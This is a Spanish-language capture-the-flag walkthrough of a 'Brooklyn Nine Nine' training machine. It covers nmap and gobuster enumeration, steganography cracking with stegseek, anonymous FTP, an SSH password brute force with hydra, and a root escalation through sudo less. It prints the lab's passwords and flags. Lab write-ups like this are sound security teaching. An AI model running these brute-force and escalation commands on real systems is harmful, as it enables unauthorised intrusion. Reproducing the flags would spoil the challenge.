Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es realizar un escaneo completo de puertos en la máquina víctima para mapear los servicios expuestos.
Escaneo Completo de Nmap
Se ejecuta un escaneo de puertos TCP (-p-), identificando versiones (-sV) y scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.128.152.198
Resultados Clave de Nmap
El escaneo revela 3 puertos abiertos principales:
- Puerto 21 (FTP): Servidor
vsFTPd 3.0.3con inicio de sesión anónimo permitido (Anonymous FTP login allowed). Contiene un archivo llamadonote_to_jake.txt. - Puerto 22 (SSH): Servidor
OpenSSH 7.6p1 Ubuntu 4ubuntu0.3(Ubuntu Linux; protocolo 2.0). - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.29(Ubuntu).
Fase 2: Enumeración de Servicios Web (Puerto 80)
1. Inspección del Sitio Web Principal
Accedemos a la dirección IP por HTTP a través del navegador:
La página web muestra de fondo una imagen de la famosa serie con el nombre brooklyn99.jpg.
2. Inspección del Código Fuente
Revisamos el código fuente de la página de inicio (view-source:http://10.128.152.198/):
Encontramos un comentario HTML de desarrollo muy revelador en la línea 30:
<!-- Have you ever heard of steganography? -->
Esto nos indica que hay información oculta dentro de la imagen de fondo brooklyn99.jpg.
3. Fuzzing de Directorios con Gobuster
Paralelamente, realizamos un escaneo de directorios con gobuster para descartar otras rutas web:
sudo gobuster dir -e -u http://10.128.152.198 -w /usr/share/wordlists/dirb/common.txt
El escaneo web no revela ningún otro directorio o panel expuesto, confirmando que nuestro foco debe ser la esteganografía y el resto de servicios enumerados.
Fase 3: Análisis de Esteganografía (Obtención de Credenciales de Holt)
1. Extracción de Datos con StegSeek
Descargamos la imagen brooklyn99.jpg de la web y usamos la herramienta stegseek junto con la lista de palabras rockyou.txt para intentar romper la contraseña de la entidad oculta y extraer su contenido:
stegseek brooklyn99.jpg /usr/share/wordlists/rockyou.txt
La herramienta encuentra con éxito la frase de contraseña: admin y extrae los datos en el archivo brooklyn99.jpg.out (nombre original del archivo oculto: note.txt).
2. Contenido del Archivo Extraído
Visualizamos el archivo extraído con cat:
cat brooklyn99.jpg.out
El archivo nos proporciona la contraseña del usuario holt:
fluffydog12@ninenine
Fase 4: Enumeración de FTP y Fuerza Bruta SSH (Acceso Inicial de Jake)
1. Acceso a FTP Anónimo
Recordamos del escaneo de Nmap que el servicio FTP permite el acceso sin credenciales. Iniciamos sesión en el servidor con el usuario anonymous:
ftp 10.128.152.198
Descargamos y leemos el archivo note_to_jake.txt:
From Amy,
Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine
La nota nos revela una segunda vía de entrada: el usuario jake tiene una contraseña sumamente débil.
2. Fuerza Bruta SSH para el Usuario Jake
Con este dato, utilizamos hydra para realizar un ataque de fuerza bruta por diccionario al servicio SSH del usuario jake:
hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.128.152.198
Hydra descubre rápidamente la contraseña para jake:
- Contraseña:
987654321
3. Conexión por SSH y Lectura del Flag de Usuario
Nos conectamos al servidor víctima por SSH con las credenciales de jake:
ssh jake@10.128.152.198
# Introducimos la contraseña: 987654321
Una vez dentro del sistema, listamos el directorio /home y confirmamos la existencia de las carpetas de los usuarios amy, holt y jake.
Revisamos el directorio del usuario holt (/home/holt/) y nos percatamos de que el archivo de flag user.txt tiene permisos de lectura globales. Procedemos a leer la flag directamente:
ls -lha /home/holt/
cat /home/holt/user.txt
La flag del usuario es:
ee11cbb19052e40b07aac0ca060c23ee
(Nota: También podríamos haber iniciado sesión directamente como holt con la contraseña extraída de la esteganografía, obteniendo el mismo resultado).
Fase 5: Escalada de Privilegios a Root
1. Enumeración de Privilegios Sudo
Para buscar vectores de escalada de privilegios a root, comprobamos qué comandos tiene permitido ejecutar jake con privilegios de superusuario (sudo):
sudo -l
El resultado indica que el usuario jake puede ejecutar el binario /usr/bin/less como root sin requerir contraseña (NOPASSWD):
(ALL) NOPASSWD: /usr/bin/less
2. Explotación de Sudo Less (GTFOBins)
De acuerdo a las técnicas documentadas en GTFOBins, el comando less permite ejecutar comandos del sistema o invocar un shell interactivo una vez abierto.
Ejecutamos less como root utilizando sudo:
sudo /usr/bin/less /etc/passwd
Una vez que se abre el archivo en el visor de less, escribimos:
!sh
Y presionamos Enter. Esto nos escapa inmediatamente del visor y nos devuelve una terminal interactiva con privilegios de root.
Confirmamos nuestra identidad con whoami y leemos el flag final en /root/root.txt:
whoami
id
cat /root/root.txt
La flag de root es:
63a9f0ea7bb9805796b49e85481845